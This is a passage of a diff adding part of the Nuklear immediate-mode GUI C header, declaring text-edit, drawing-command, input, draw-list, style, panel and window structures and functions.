nk_filter_oct(const struct nk_text_edit*, nk_rune unicode); +NK_API int nk_filter_binary(const struct nk_text_edit*, nk_rune unicode); + +/* text editor */ +#ifdef NK_INCLUDE_DEFAULT_ALLOCATOR +NK_API void nk_textedit_init_default(struct nk_text_edit*); +#endif +NK_API void nk_textedit_init(struct nk_text_edit*, struct nk_allocator*, nk_size size); +NK_API void nk_textedit_init_fixed(struct nk_text_edit*, void *memory, nk_size size); +NK_API void nk_textedit_free(struct nk_text_edit*); +NK_API void nk_textedit_text(struct nk_text_edit*, const char*, int total_len); +NK_API void nk_textedit_delete(struct nk_text_edit*, int where, int len); +NK_API void nk_textedit_delete_selection(struct nk_text_edit*); +NK_API void nk_textedit_select_all(struct nk_text_edit*); +NK_API int nk_textedit_cut(struct nk_text_edit*); +NK_API int nk_textedit_paste(struct nk_text_edit*, char const*, int len); +NK_API void nk_textedit_undo(struct nk_text_edit*); +NK_API void nk_textedit_redo(struct nk_text_edit*); + +/* =============================================================== + * + * DRAWING + * + * ===============================================================*/ +/* This library was designed to be render backend agnostic so it does + not draw anything to screen. Instead all drawn shapes, widgets + are made of, are buffered into memory and make up a command queue. + Each frame therefore fills the command buffer with draw commands + that then need to be executed by the user and his own render backend. + After that the command buffer needs to be cleared and a new frame can be + started. It is probably important to note that the command buffer is the main + drawing API and the optional vertex buffer API only takes this format and + converts it into a hardware accessible format. + + To use the command queue to draw your own widgets you can access the + command buffer of each window by calling `nk_window_get_canvas` after + previously having called `nk_begin`: + + void draw_red_rectangle_widget(struct nk_context *ctx) + { + struct nk_command_buffer *canvas; + struct nk_input *input = &ctx->input; + canvas = nk_window_get_canvas(ctx); + + struct nk_rect space; + enum nk_widget_layout_states state; + state = nk_widget(&space, ctx); + if (!state) return; + + if (state != NK_WIDGET_ROM) + update_your_widget_by_user_input(...); + nk_fill_rect(canvas, space, 0, nk_rgb(255,0,0)); + } + + if (nk_begin(...)) { + nk_layout_row_dynamic(ctx, 25, 1); + draw_red_rectangle_widget(ctx); + } + nk_end(..) + + Important to know if you want to create your own widgets is the `nk_widget` + call. It allocates space on the panel reserved for this widget to be used, + but also returns the state of the widget space. If your widget is not seen and does + not have to be updated it is '0' and you can just return. If it only has + to be drawn the state will be `NK_WIDGET_ROM` otherwise you can do both + update and draw your widget. The reason for separating is to only draw and + update what is actually necessary which is crucial for performance. +*/ +enum nk_command_type { + NK_COMMAND_NOP, + NK_COMMAND_SCISSOR, + NK_COMMAND_LINE, + NK_COMMAND_CURVE, + NK_COMMAND_RECT, + NK_COMMAND_RECT_FILLED, + NK_COMMAND_RECT_MULTI_COLOR, + NK_COMMAND_CIRCLE, + NK_COMMAND_CIRCLE_FILLED, + NK_COMMAND_ARC, + NK_COMMAND_ARC_FILLED, + NK_COMMAND_TRIANGLE, + NK_COMMAND_TRIANGLE_FILLED, + NK_COMMAND_POLYGON, + NK_COMMAND_POLYGON_FILLED, + NK_COMMAND_POLYLINE, + NK_COMMAND_TEXT, + NK_COMMAND_IMAGE, + NK_COMMAND_CUSTOM +}; + +/* command base and header of every command inside the buffer */ +struct nk_command { + enum nk_command_type type; + nk_size next; +#ifdef NK_INCLUDE_COMMAND_USERDATA + nk_handle userdata; +#endif +}; + +struct nk_command_scissor { + struct nk_command header; + short x, y; + unsigned short w, h; +}; + +struct nk_command_line { + struct nk_command header; + unsigned short line_thickness; + struct nk_vec2i begin; + struct nk_vec2i end; + struct nk_color color; +}; + +struct nk_command_curve { + struct nk_command header; + unsigned short line_thickness; + struct nk_vec2i begin; + struct nk_vec2i end; + struct nk_vec2i ctrl[2]; + struct nk_color color; +}; + +struct nk_command_rect { + struct nk_command header; + unsigned short rounding; + unsigned short line_thickness; + short x, y; + unsigned short w, h; + struct nk_color color; +}; + +struct nk_command_rect_filled { + struct nk_command header; + unsigned short rounding; + short x, y; + unsigned short w, h; + struct nk_color color; +}; + +struct nk_command_rect_multi_color { + struct nk_command header; + short x, y; + unsigned short w, h; + struct nk_color left; + struct nk_color top; + struct nk_color bottom; + struct nk_color right; +}; + +struct nk_command_triangle { + struct nk_command header; + unsigned short line_thickness; + struct nk_vec2i a; + struct nk_vec2i b; + struct nk_vec2i c; + struct nk_color color; +}; + +struct nk_command_triangle_filled { + struct nk_command header; + struct nk_vec2i a; + struct nk_vec2i b; + struct nk_vec2i c; + struct nk_color color; +}; + +struct nk_command_circle { + struct nk_command header; + short x, y; + unsigned short line_thickness; + unsigned short w, h; + struct nk_color color; +}; + +struct nk_command_circle_filled { + struct nk_command header; + short x, y; + unsigned short w, h; + struct nk_color color; +}; + +struct nk_command_arc { + struct nk_command header; + short cx, cy; + unsigned short r; + unsigned short line_thickness; + float a[2]; + struct nk_color color; +}; + +struct nk_command_arc_filled { + struct nk_command header; + short cx, cy; + unsigned short r; + float a[2]; + struct nk_color color; +}; + +struct nk_command_polygon { + struct nk_command header; + struct nk_color color; + unsigned short line_thickness; + unsigned short point_count; + struct nk_vec2i points[1]; +}; + +struct nk_command_polygon_filled { + struct nk_command header; + struct nk_color color; + unsigned short point_count; + struct nk_vec2i points[1]; +}; + +struct nk_command_polyline { + struct nk_command header; + struct nk_color color; + unsigned short line_thickness; + unsigned short point_count; + struct nk_vec2i points[1]; +}; + +struct nk_command_image { + struct nk_command header; + short x, y; + unsigned short w, h; + struct nk_image img; + struct nk_color col; +}; + +typedef void (*nk_command_custom_callback)(void *canvas, short x,short y, + unsigned short w, unsigned short h, nk_handle callback_data); +struct nk_command_custom { + struct nk_command header; + short x, y; + unsigned short w, h; + nk_handle callback_data; + nk_command_custom_callback callback; +}; + +struct nk_command_text { + struct nk_command header; + const struct nk_user_font *font; + struct nk_color background; + struct nk_color foreground; + short x, y; + unsigned short w, h; + float height; + int length; + char string[1]; +}; + +enum nk_command_clipping { + NK_CLIPPING_OFF = nk_false, + NK_CLIPPING_ON = nk_true +}; + +struct nk_command_buffer { + struct nk_buffer *base; + struct nk_rect clip; + int use_clipping; + nk_handle userdata; + nk_size begin, end, last; +}; + +/* shape outlines */ +NK_API void nk_stroke_line(struct nk_command_buffer *b, float x0, float y0, float x1, float y1, float line_thickness, struct nk_color); +NK_API void nk_stroke_curve(struct nk_command_buffer*, float, float, float, float, float, float, float, float, float line_thickness, struct nk_color); +NK_API void nk_stroke_rect(struct nk_command_buffer*, struct nk_rect, float rounding, float line_thickness, struct nk_color); +NK_API void nk_stroke_circle(struct nk_command_buffer*, struct nk_rect, float line_thickness, struct nk_color); +NK_API void nk_stroke_arc(struct nk_command_buffer*, float cx, float cy, float radius, float a_min, float a_max, float line_thickness, struct nk_color); +NK_API void nk_stroke_triangle(struct nk_command_buffer*, float, float, float, float, float, float, float line_thichness, struct nk_color); +NK_API void nk_stroke_polyline(struct nk_command_buffer*, float *points, int point_count, float line_thickness, struct nk_color col); +NK_API void nk_stroke_polygon(struct nk_command_buffer*, float*, int point_count, float line_thickness, struct nk_color); + +/* filled shades */ +NK_API void nk_fill_rect(struct nk_command_buffer*, struct nk_rect, float rounding, struct nk_color); +NK_API void nk_fill_rect_multi_color(struct nk_command_buffer*, struct nk_rect, struct nk_color left, struct nk_color top, struct nk_color right, struct nk_color bottom); +NK_API void nk_fill_circle(struct nk_command_buffer*, struct nk_rect, struct nk_color); +NK_API void nk_fill_arc(struct nk_command_buffer*, float cx, float cy, float radius, float a_min, float a_max, struct nk_color); +NK_API void nk_fill_triangle(struct nk_command_buffer*, float x0, float y0, float x1, float y1, float x2, float y2, struct nk_color); +NK_API void nk_fill_polygon(struct nk_command_buffer*, float*, int point_count, struct nk_color); + +/* misc */ +NK_API void nk_draw_image(struct nk_command_buffer*, struct nk_rect, const struct nk_image*, struct nk_color); +NK_API void nk_draw_text(struct nk_command_buffer*, struct nk_rect, const char *text, int len, const struct nk_user_font*, struct nk_color, struct nk_color); +NK_API void nk_push_scissor(struct nk_command_buffer*, struct nk_rect); +NK_API void nk_push_custom(struct nk_command_buffer*, struct nk_rect, nk_command_custom_callback, nk_handle usr); + +/* =============================================================== + * + * INPUT + * + * ===============================================================*/ +struct nk_mouse_button { + int down; + unsigned int clicked; + struct nk_vec2 clicked_pos; +}; +struct nk_mouse { + struct nk_mouse_button buttons[NK_BUTTON_MAX]; + struct nk_vec2 pos; + struct nk_vec2 prev; + struct nk_vec2 delta; + struct nk_vec2 scroll_delta; + unsigned char grab; + unsigned char grabbed; + unsigned char ungrab; +}; + +struct nk_key { + int down; + unsigned int clicked; +}; +struct nk_keyboard { + struct nk_key keys[NK_KEY_MAX]; + char text[NK_INPUT_MAX]; + int text_len; +}; + +struct nk_input { + struct nk_keyboard keyboard; + struct nk_mouse mouse; +}; + +NK_API int nk_input_has_mouse_click(const struct nk_input*, enum nk_buttons); +NK_API int nk_input_has_mouse_click_in_rect(const struct nk_input*, enum nk_buttons, struct nk_rect); +NK_API int nk_input_has_mouse_click_down_in_rect(const struct nk_input*, enum nk_buttons, struct nk_rect, int down); +NK_API int nk_input_is_mouse_click_in_rect(const struct nk_input*, enum nk_buttons, struct nk_rect); +NK_API int nk_input_is_mouse_click_down_in_rect(const struct nk_input *i, enum nk_buttons id, struct nk_rect b, int down); +NK_API int nk_input_any_mouse_click_in_rect(const struct nk_input*, struct nk_rect); +NK_API int nk_input_is_mouse_prev_hovering_rect(const struct nk_input*, struct nk_rect); +NK_API int nk_input_is_mouse_hovering_rect(const struct nk_input*, struct nk_rect); +NK_API int nk_input_mouse_clicked(const struct nk_input*, enum nk_buttons, struct nk_rect); +NK_API int nk_input_is_mouse_down(const struct nk_input*, enum nk_buttons); +NK_API int nk_input_is_mouse_pressed(const struct nk_input*, enum nk_buttons); +NK_API int nk_input_is_mouse_released(const struct nk_input*, enum nk_buttons); +NK_API int nk_input_is_key_pressed(const struct nk_input*, enum nk_keys); +NK_API int nk_input_is_key_released(const struct nk_input*, enum nk_keys); +NK_API int nk_input_is_key_down(const struct nk_input*, enum nk_keys); + +/* =============================================================== + * + * DRAW LIST + * + * ===============================================================*/ +#ifdef NK_INCLUDE_VERTEX_BUFFER_OUTPUT +/* The optional vertex buffer draw list provides a 2D drawing context + with antialiasing functionality which takes basic filled or outlined shapes + or a path and outputs vertexes, elements and draw commands. + The actual draw list API is not required to be used directly while using this + library since converting the default library draw command output is done by + just calling `nk_convert` but I decided to still make this library accessible + since it can be useful. + + The draw list is based on a path buffering and polygon and polyline + rendering API which allows a lot of ways to draw 2D content to screen. + In fact it is probably more powerful than needed but allows even more crazy + things than this library provides by default. +*/ +#ifdef NK_UINT_DRAW_INDEX +typedef nk_uint nk_draw_index; +#else +typedef nk_ushort nk_draw_index; +#endif +enum nk_draw_list_stroke { + NK_STROKE_OPEN = nk_false, + /* build up path has no connection back to the beginning */ + NK_STROKE_CLOSED = nk_true + /* build up path has a connection back to the beginning */ +}; + +enum nk_draw_vertex_layout_attribute { + NK_VERTEX_POSITION, + NK_VERTEX_COLOR, + NK_VERTEX_TEXCOORD, + NK_VERTEX_ATTRIBUTE_COUNT +}; + +enum nk_draw_vertex_layout_format { + NK_FORMAT_SCHAR, + NK_FORMAT_SSHORT, + NK_FORMAT_SINT, + NK_FORMAT_UCHAR, + NK_FORMAT_USHORT, + NK_FORMAT_UINT, + NK_FORMAT_FLOAT, + NK_FORMAT_DOUBLE, + +NK_FORMAT_COLOR_BEGIN, + NK_FORMAT_R8G8B8 = NK_FORMAT_COLOR_BEGIN, + NK_FORMAT_R16G15B16, + NK_FORMAT_R32G32B32, + + NK_FORMAT_R8G8B8A8, + NK_FORMAT_B8G8R8A8, + NK_FORMAT_R16G15B16A16, + NK_FORMAT_R32G32B32A32, + NK_FORMAT_R32G32B32A32_FLOAT, + NK_FORMAT_R32G32B32A32_DOUBLE, + + NK_FORMAT_RGB32, + NK_FORMAT_RGBA32, +NK_FORMAT_COLOR_END = NK_FORMAT_RGBA32, + NK_FORMAT_COUNT +}; + +#define NK_VERTEX_LAYOUT_END NK_VERTEX_ATTRIBUTE_COUNT,NK_FORMAT_COUNT,0 +struct nk_draw_vertex_layout_element { + enum nk_draw_vertex_layout_attribute attribute; + enum nk_draw_vertex_layout_format format; + nk_size offset; +}; + +struct nk_draw_command { + unsigned int elem_count; + /* number of elements in the current draw batch */ + struct nk_rect clip_rect; + /* current screen clipping rectangle */ + nk_handle texture; + /* current texture to set */ +#ifdef NK_INCLUDE_COMMAND_USERDATA + nk_handle userdata; +#endif +}; + +struct nk_draw_list { + struct nk_rect clip_rect; + struct nk_vec2 circle_vtx[12]; + struct nk_convert_config config; + + struct nk_buffer *buffer; + struct nk_buffer *vertices; + struct nk_buffer *elements; + + unsigned int element_count; + unsigned int vertex_count; + unsigned int cmd_count; + nk_size cmd_offset; + + unsigned int path_count; + unsigned int path_offset; + + enum nk_anti_aliasing line_AA; + enum nk_anti_aliasing shape_AA; + +#ifdef NK_INCLUDE_COMMAND_USERDATA + nk_handle userdata; +#endif +}; + +/* draw list */ +NK_API void nk_draw_list_init(struct nk_draw_list*); +NK_API void nk_draw_list_setup(struct nk_draw_list*, const struct nk_convert_config*, struct nk_buffer *cmds, struct nk_buffer *vertices, struct nk_buffer *elements, enum nk_anti_aliasing line_aa,enum nk_anti_aliasing shape_aa); + +/* drawing */ +#define nk_draw_list_foreach(cmd, can, b) for((cmd)=nk__draw_list_begin(can, b); (cmd)!=0; (cmd)=nk__draw_list_next(cmd, b, can)) +NK_API const struct nk_draw_command* nk__draw_list_begin(const struct nk_draw_list*, const struct nk_buffer*); +NK_API const struct nk_draw_command* nk__draw_list_next(const struct nk_draw_command*, const struct nk_buffer*, const struct nk_draw_list*); +NK_API const struct nk_draw_command* nk__draw_list_end(const struct nk_draw_list*, const struct nk_buffer*); + +/* path */ +NK_API void nk_draw_list_path_clear(struct nk_draw_list*); +NK_API void nk_draw_list_path_line_to(struct nk_draw_list*, struct nk_vec2 pos); +NK_API void nk_draw_list_path_arc_to_fast(struct nk_draw_list*, struct nk_vec2 center, float radius, int a_min, int a_max); +NK_API void nk_draw_list_path_arc_to(struct nk_draw_list*, struct nk_vec2 center, float radius, float a_min, float a_max, unsigned int segments); +NK_API void nk_draw_list_path_rect_to(struct nk_draw_list*, struct nk_vec2 a, struct nk_vec2 b, float rounding); +NK_API void nk_draw_list_path_curve_to(struct nk_draw_list*, struct nk_vec2 p2, struct nk_vec2 p3, struct nk_vec2 p4, unsigned int num_segments); +NK_API void nk_draw_list_path_fill(struct nk_draw_list*, struct nk_color); +NK_API void nk_draw_list_path_stroke(struct nk_draw_list*, struct nk_color, enum nk_draw_list_stroke closed, float thickness); + +/* stroke */ +NK_API void nk_draw_list_stroke_line(struct nk_draw_list*, struct nk_vec2 a, struct nk_vec2 b, struct nk_color, float thickness); +NK_API void nk_draw_list_stroke_rect(struct nk_draw_list*, struct nk_rect rect, struct nk_color, float rounding, float thickness); +NK_API void nk_draw_list_stroke_triangle(struct nk_draw_list*, struct nk_vec2 a, struct nk_vec2 b, struct nk_vec2 c, struct nk_color, float thickness); +NK_API void nk_draw_list_stroke_circle(struct nk_draw_list*, struct nk_vec2 center, float radius, struct nk_color, unsigned int segs, float thickness); +NK_API void nk_draw_list_stroke_curve(struct nk_draw_list*, struct nk_vec2 p0, struct nk_vec2 cp0, struct nk_vec2 cp1, struct nk_vec2 p1, struct nk_color, unsigned int segments, float thickness); +NK_API void nk_draw_list_stroke_poly_line(struct nk_draw_list*, const struct nk_vec2 *pnts, const unsigned int cnt, struct nk_color, enum nk_draw_list_stroke, float thickness, enum nk_anti_aliasing); + +/* fill */ +NK_API void nk_draw_list_fill_rect(struct nk_draw_list*, struct nk_rect rect, struct nk_color, float rounding); +NK_API void nk_draw_list_fill_rect_multi_color(struct nk_draw_list*, struct nk_rect rect, struct nk_color left, struct nk_color top, struct nk_color right, struct nk_color bottom); +NK_API void nk_draw_list_fill_triangle(struct nk_draw_list*, struct nk_vec2 a, struct nk_vec2 b, struct nk_vec2 c, struct nk_color); +NK_API void nk_draw_list_fill_circle(struct nk_draw_list*, struct nk_vec2 center, float radius, struct nk_color col, unsigned int segs); +NK_API void nk_draw_list_fill_poly_convex(struct nk_draw_list*, const struct nk_vec2 *points, const unsigned int count, struct nk_color, enum nk_anti_aliasing); + +/* misc */ +NK_API void nk_draw_list_add_image(struct nk_draw_list*, struct nk_image texture, struct nk_rect rect, struct nk_color); +NK_API void nk_draw_list_add_text(struct nk_draw_list*, const struct nk_user_font*, struct nk_rect, const char *text, int len, float font_height, struct nk_color); +#ifdef NK_INCLUDE_COMMAND_USERDATA +NK_API void nk_draw_list_push_userdata(struct nk_draw_list*, nk_handle userdata); +#endif + +#endif + +/* =============================================================== + * + * GUI + * + * ===============================================================*/ +enum nk_style_item_type { + NK_STYLE_ITEM_COLOR, + NK_STYLE_ITEM_IMAGE +}; + +union nk_style_item_data { + struct nk_image image; + struct nk_color color; +}; + +struct nk_style_item { + enum nk_style_item_type type; + union nk_style_item_data data; +}; + +struct nk_style_text { + struct nk_color color; + struct nk_vec2 padding; +}; + +struct nk_style_button { + /* background */ + struct nk_style_item normal; + struct nk_style_item hover; + struct nk_style_item active; + struct nk_color border_color; + + /* text */ + struct nk_color text_background; + struct nk_color text_normal; + struct nk_color text_hover; + struct nk_color text_active; + nk_flags text_alignment; + + /* properties */ + float border; + float rounding; + struct nk_vec2 padding; + struct nk_vec2 image_padding; + struct nk_vec2 touch_padding; + + /* optional user callbacks */ + nk_handle userdata; + void(*draw_begin)(struct nk_command_buffer*, nk_handle userdata); + void(*draw_end)(struct nk_command_buffer*, nk_handle userdata); +}; + +struct nk_style_toggle { + /* background */ + struct nk_style_item normal; + struct nk_style_item hover; + struct nk_style_item active; + struct nk_color border_color; + + /* cursor */ + struct nk_style_item cursor_normal; + struct nk_style_item cursor_hover; + + /* text */ + struct nk_color text_normal; + struct nk_color text_hover; + struct nk_color text_active; + struct nk_color text_background; + nk_flags text_alignment; + + /* properties */ + struct nk_vec2 padding; + struct nk_vec2 touch_padding; + float spacing; + float border; + + /* optional user callbacks */ + nk_handle userdata; + void(*draw_begin)(struct nk_command_buffer*, nk_handle); + void(*draw_end)(struct nk_command_buffer*, nk_handle); +}; + +struct nk_style_selectable { + /* background (inactive) */ + struct nk_style_item normal; + struct nk_style_item hover; + struct nk_style_item pressed; + + /* background (active) */ + struct nk_style_item normal_active; + struct nk_style_item hover_active; + struct nk_style_item pressed_active; + + /* text color (inactive) */ + struct nk_color text_normal; + struct nk_color text_hover; + struct nk_color text_pressed; + + /* text color (active) */ + struct nk_color text_normal_active; + struct nk_color text_hover_active; + struct nk_color text_pressed_active; + struct nk_color text_background; + nk_flags text_alignment; + + /* properties */ + float rounding; + struct nk_vec2 padding; + struct nk_vec2 touch_padding; + struct nk_vec2 image_padding; + + /* optional user callbacks */ + nk_handle userdata; + void(*draw_begin)(struct nk_command_buffer*, nk_handle); + void(*draw_end)(struct nk_command_buffer*, nk_handle); +}; + +struct nk_style_slider { + /* background */ + struct nk_style_item normal; + struct nk_style_item hover; + struct nk_style_item active; + struct nk_color border_color; + + /* background bar */ + struct nk_color bar_normal; + struct nk_color bar_hover; + struct nk_color bar_active; + struct nk_color bar_filled; + + /* cursor */ + struct nk_style_item cursor_normal; + struct nk_style_item cursor_hover; + struct nk_style_item cursor_active; + + /* properties */ + float border; + float rounding; + float bar_height; + struct nk_vec2 padding; + struct nk_vec2 spacing; + struct nk_vec2 cursor_size; + + /* optional buttons */ + int show_buttons; + struct nk_style_button inc_button; + struct nk_style_button dec_button; + enum nk_symbol_type inc_symbol; + enum nk_symbol_type dec_symbol; + + /* optional user callbacks */ + nk_handle userdata; + void(*draw_begin)(struct nk_command_buffer*, nk_handle); + void(*draw_end)(struct nk_command_buffer*, nk_handle); +}; + +struct nk_style_progress { + /* background */ + struct nk_style_item normal; + struct nk_style_item hover; + struct nk_style_item active; + struct nk_color border_color; + + /* cursor */ + struct nk_style_item cursor_normal; + struct nk_style_item cursor_hover; + struct nk_style_item cursor_active; + struct nk_color cursor_border_color; + + /* properties */ + float rounding; + float border; + float cursor_border; + float cursor_rounding; + struct nk_vec2 padding; + + /* optional user callbacks */ + nk_handle userdata; + void(*draw_begin)(struct nk_command_buffer*, nk_handle); + void(*draw_end)(struct nk_command_buffer*, nk_handle); +}; + +struct nk_style_scrollbar { + /* background */ + struct nk_style_item normal; + struct nk_style_item hover; + struct nk_style_item active; + struct nk_color border_color; + + /* cursor */ + struct nk_style_item cursor_normal; + struct nk_style_item cursor_hover; + struct nk_style_item cursor_active; + struct nk_color cursor_border_color; + + /* properties */ + float border; + float rounding; + float border_cursor; + float rounding_cursor; + struct nk_vec2 padding; + + /* optional buttons */ + int show_buttons; + struct nk_style_button inc_button; + struct nk_style_button dec_button; + enum nk_symbol_type inc_symbol; + enum nk_symbol_type dec_symbol; + + /* optional user callbacks */ + nk_handle userdata; + void(*draw_begin)(struct nk_command_buffer*, nk_handle); + void(*draw_end)(struct nk_command_buffer*, nk_handle); +}; + +struct nk_style_edit { + /* background */ + struct nk_style_item normal; + struct nk_style_item hover; + struct nk_style_item active; + struct nk_color border_color; + struct nk_style_scrollbar scrollbar; + + /* cursor */ + struct nk_color cursor_normal; + struct nk_color cursor_hover; + struct nk_color cursor_text_normal; + struct nk_color cursor_text_hover; + + /* text (unselected) */ + struct nk_color text_normal; + struct nk_color text_hover; + struct nk_color text_active; + + /* text (selected) */ + struct nk_color selected_normal; + struct nk_color selected_hover; + struct nk_color selected_text_normal; + struct nk_color selected_text_hover; + + /* properties */ + float border; + float rounding; + float cursor_size; + struct nk_vec2 scrollbar_size; + struct nk_vec2 padding; + float row_padding; +}; + +struct nk_style_property { + /* background */ + struct nk_style_item normal; + struct nk_style_item hover; + struct nk_style_item active; + struct nk_color border_color; + + /* text */ + struct nk_color label_normal; + struct nk_color label_hover; + struct nk_color label_active; + + /* symbols */ + enum nk_symbol_type sym_left; + enum nk_symbol_type sym_right; + + /* properties */ + float border; + float rounding; + struct nk_vec2 padding; + + struct nk_style_edit edit; + struct nk_style_button inc_button; + struct nk_style_button dec_button; + + /* optional user callbacks */ + nk_handle userdata; + void(*draw_begin)(struct nk_command_buffer*, nk_handle); + void(*draw_end)(struct nk_command_buffer*, nk_handle); +}; + +struct nk_style_chart { + /* colors */ + struct nk_style_item background; + struct nk_color border_color; + struct nk_color selected_color; + struct nk_color color; + + /* properties */ + float border; + float rounding; + struct nk_vec2 padding; +}; + +struct nk_style_combo { + /* background */ + struct nk_style_item normal; + struct nk_style_item hover; + struct nk_style_item active; + struct nk_color border_color; + + /* label */ + struct nk_color label_normal; + struct nk_color label_hover; + struct nk_color label_active; + + /* symbol */ + struct nk_color symbol_normal; + struct nk_color symbol_hover; + struct nk_color symbol_active; + + /* button */ + struct nk_style_button button; + enum nk_symbol_type sym_normal; + enum nk_symbol_type sym_hover; + enum nk_symbol_type sym_active; + + /* properties */ + float border; + float rounding; + struct nk_vec2 content_padding; + struct nk_vec2 button_padding; + struct nk_vec2 spacing; +}; + +struct nk_style_tab { + /* background */ + struct nk_style_item background; + struct nk_color border_color; + struct nk_color text; + + /* button */ + struct nk_style_button tab_maximize_button; + struct nk_style_button tab_minimize_button; + struct nk_style_button node_maximize_button; + struct nk_style_button node_minimize_button; + enum nk_symbol_type sym_minimize; + enum nk_symbol_type sym_maximize; + + /* properties */ + float border; + float rounding; + float indent; + struct nk_vec2 padding; + struct nk_vec2 spacing; +}; + +enum nk_style_header_align { + NK_HEADER_LEFT, + NK_HEADER_RIGHT +}; +struct nk_style_window_header { + /* background */ + struct nk_style_item normal; + struct nk_style_item hover; + struct nk_style_item active; + + /* button */ + struct nk_style_button close_button; + struct nk_style_button minimize_button; + enum nk_symbol_type close_symbol; + enum nk_symbol_type minimize_symbol; + enum nk_symbol_type maximize_symbol; + + /* title */ + struct nk_color label_normal; + struct nk_color label_hover; + struct nk_color label_active; + + /* properties */ + enum nk_style_header_align align; + struct nk_vec2 padding; + struct nk_vec2 label_padding; + struct nk_vec2 spacing; +}; + +struct nk_style_window { + struct nk_style_window_header header; + struct nk_style_item fixed_background; + struct nk_color background; + + struct nk_color border_color; + struct nk_color popup_border_color; + struct nk_color combo_border_color; + struct nk_color contextual_border_color; + struct nk_color menu_border_color; + struct nk_color group_border_color; + struct nk_color tooltip_border_color; + struct nk_style_item scaler; + + float border; + float combo_border; + float contextual_border; + float menu_border; + float group_border; + float tooltip_border; + float popup_border; + float min_row_height_padding; + + float rounding; + struct nk_vec2 spacing; + struct nk_vec2 scrollbar_size; + struct nk_vec2 min_size; + + struct nk_vec2 padding; + struct nk_vec2 group_padding; + struct nk_vec2 popup_padding; + struct nk_vec2 combo_padding; + struct nk_vec2 contextual_padding; + struct nk_vec2 menu_padding; + struct nk_vec2 tooltip_padding; +}; + +struct nk_style { + const struct nk_user_font *font; + const struct nk_cursor *cursors[NK_CURSOR_COUNT]; + const struct nk_cursor *cursor_active; + struct nk_cursor *cursor_last; + int cursor_visible; + + struct nk_style_text text; + struct nk_style_button button; + struct nk_style_button contextual_button; + struct nk_style_button menu_button; + struct nk_style_toggle option; + struct nk_style_toggle checkbox; + struct nk_style_selectable selectable; + struct nk_style_slider slider; + struct nk_style_progress progress; + struct nk_style_property property; + struct nk_style_edit edit; + struct nk_style_chart chart; + struct nk_style_scrollbar scrollh; + struct nk_style_scrollbar scrollv; + struct nk_style_tab tab; + struct nk_style_combo combo; + struct nk_style_window window; +}; + +NK_API struct nk_style_item nk_style_item_image(struct nk_image img); +NK_API struct nk_style_item nk_style_item_color(struct nk_color); +NK_API struct nk_style_item nk_style_item_hide(void); + +/*============================================================== + * PANEL + * =============================================================*/ +#ifndef NK_MAX_LAYOUT_ROW_TEMPLATE_COLUMNS +#define NK_MAX_LAYOUT_ROW_TEMPLATE_COLUMNS 16 +#endif +#ifndef NK_CHART_MAX_SLOT +#define NK_CHART_MAX_SLOT 4 +#endif + +enum nk_panel_type { + NK_PANEL_NONE = 0, + NK_PANEL_WINDOW = NK_FLAG(0), + NK_PANEL_GROUP = NK_FLAG(1), + NK_PANEL_POPUP = NK_FLAG(2), + NK_PANEL_CONTEXTUAL = NK_FLAG(4), + NK_PANEL_COMBO = NK_FLAG(5), + NK_PANEL_MENU = NK_FLAG(6), + NK_PANEL_TOOLTIP = NK_FLAG(7) +}; +enum nk_panel_set { + NK_PANEL_SET_NONBLOCK = NK_PANEL_CONTEXTUAL|NK_PANEL_COMBO|NK_PANEL_MENU|NK_PANEL_TOOLTIP, + NK_PANEL_SET_POPUP = NK_PANEL_SET_NONBLOCK|NK_PANEL_POPUP, + NK_PANEL_SET_SUB = NK_PANEL_SET_POPUP|NK_PANEL_GROUP +}; + +struct nk_chart_slot { + enum nk_chart_type type; + struct nk_color color; + struct nk_color highlight; + float min, max, range; + int count; + struct nk_vec2 last; + int index; +}; + +struct nk_chart { + int slot; + float x, y, w, h; + struct nk_chart_slot slots[NK_CHART_MAX_SLOT]; +}; + +enum nk_panel_row_layout_type { + NK_LAYOUT_DYNAMIC_FIXED = 0, + NK_LAYOUT_DYNAMIC_ROW, + NK_LAYOUT_DYNAMIC_FREE, + NK_LAYOUT_DYNAMIC, + NK_LAYOUT_STATIC_FIXED, + NK_LAYOUT_STATIC_ROW, + NK_LAYOUT_STATIC_FREE, + NK_LAYOUT_STATIC, + NK_LAYOUT_TEMPLATE, + NK_LAYOUT_COUNT +}; +struct nk_row_layout { + enum nk_panel_row_layout_type type; + int index; + float height; + float min_height; + int columns; + const float *ratio; + float item_width; + float item_height; + float item_offset; + float filled; + struct nk_rect item; + int tree_depth; + float templates[NK_MAX_LAYOUT_ROW_TEMPLATE_COLUMNS]; +}; + +struct nk_popup_buffer { + nk_size begin; + nk_size parent; + nk_size last; + nk_size end; + int active; +}; + +struct nk_menu_state { + float x, y, w, h; + struct nk_scroll offset; +}; + +struct nk_panel { + enum nk_panel_type type; + nk_flags flags; + struct nk_rect bounds; + nk_uint *offset_x; + nk_uint *offset_y; + float at_x, at_y, max_x; + float footer_height; + float header_height; + float border; + unsigned int has_scrolling; + struct nk_rect clip; + struct nk_menu_state menu; + struct nk_row_layout row; + struct nk_chart chart; + struct nk_command_buffer *buffer; + struct nk_panel *parent; +}; + +/*============================================================== + * WINDOW + * =============================================================*/ +#ifndef NK_WINDOW_MAX_NAME +#define NK_WINDOW_MAX_NAME 64 +#endif + +struct nk_table; +enum nk_window_flags { + NK_WINDOW_PRIVATE = NK_FLAG(11), + NK_WINDOW_DYNAMIC = NK_WINDOW_PRIVATE, + /* special window type growing up in height while being filled to a certain maximum height */ + NK_WINDOW_ROM = NK_FLAG(12), + /* sets window widgets into a read only mode and does not allow input changes */ + NK_WINDOW_NOT_INTERACTIVE = NK_WINDOW_ROM|NK_WINDOW_NO_INPUT, + /* prevents all interaction caused by input to either window or widgets inside */ + NK_WINDOW_HIDDEN = NK_FLAG(13), + /* Hides window and stops any window interaction and drawing */ + NK_WINDOW_CLOSED = NK_FLAG(14), + /* Directly closes and frees the window at the end of the frame */ + NK_WINDOW_MINIMIZED = NK_FLAG(15), + /* marks the window as minimized */ + NK_WINDOW_REMOVE_ROM = NK_FLAG(16) + /* Removes read only mode at the end of the window */ +}; + +struct nk_popup_state { + struct nk_window *win; + enum nk_panel_type type; + struct nk_popup_buffer buf; + nk_hash name; + int active; + unsigned combo_count; + unsigned con_count, con_old; + unsigned active_con; + struct nk_rect header; +}; + +struct nk_edit_state { + nk_hash name; + unsigned int seq; + unsigned int old; + int active, prev; + int cursor; + int sel_start; + int sel_end; + struct nk_scroll scrollbar; + unsigned char mode; + unsigned char single_line; +}; + +struct nk_property_state { + int active, prev; + char buffer[NK_MAX_NUMBER_BUFFER]; + int length; + int cursor; + int select_start; + int select_end; + nk_hash name; + unsigned int seq; + unsigned int old; + int state; 